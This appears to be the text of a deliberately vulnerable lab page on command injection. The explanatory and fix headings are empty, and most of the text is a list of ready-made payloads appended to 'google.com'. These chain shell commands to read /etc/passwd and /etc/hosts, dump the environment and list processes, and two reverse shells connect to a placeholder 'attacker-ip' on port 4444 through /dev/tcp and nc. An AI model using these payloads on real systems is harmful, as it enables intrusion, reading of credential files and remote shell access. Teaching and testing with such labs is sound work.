🚨 Command Injection Vulnerability

What makes this vulnerable:

Test Command Injection:

Ping Tool (try injection):

File Listing (try injection):

Command Injection Payloads:

Command Chaining:

google.com; whoami
google.com && cat /etc/passwd
google.com || id
google.com | cat /etc/hosts

Subcommand Execution:

google.com `whoami`
google.com $(cat /etc/passwd)
google.com & sleep 10 &

Information Gathering:

google.com; uname -a
google.com; ps aux
google.com; env
google.com; ls -la /

Reverse Shell (be careful!):

google.com; bash -i >& /dev/tcp/attacker-ip/4444 0>&1
google.com; nc -e /bin/bash attacker-ip 4444

How to fix: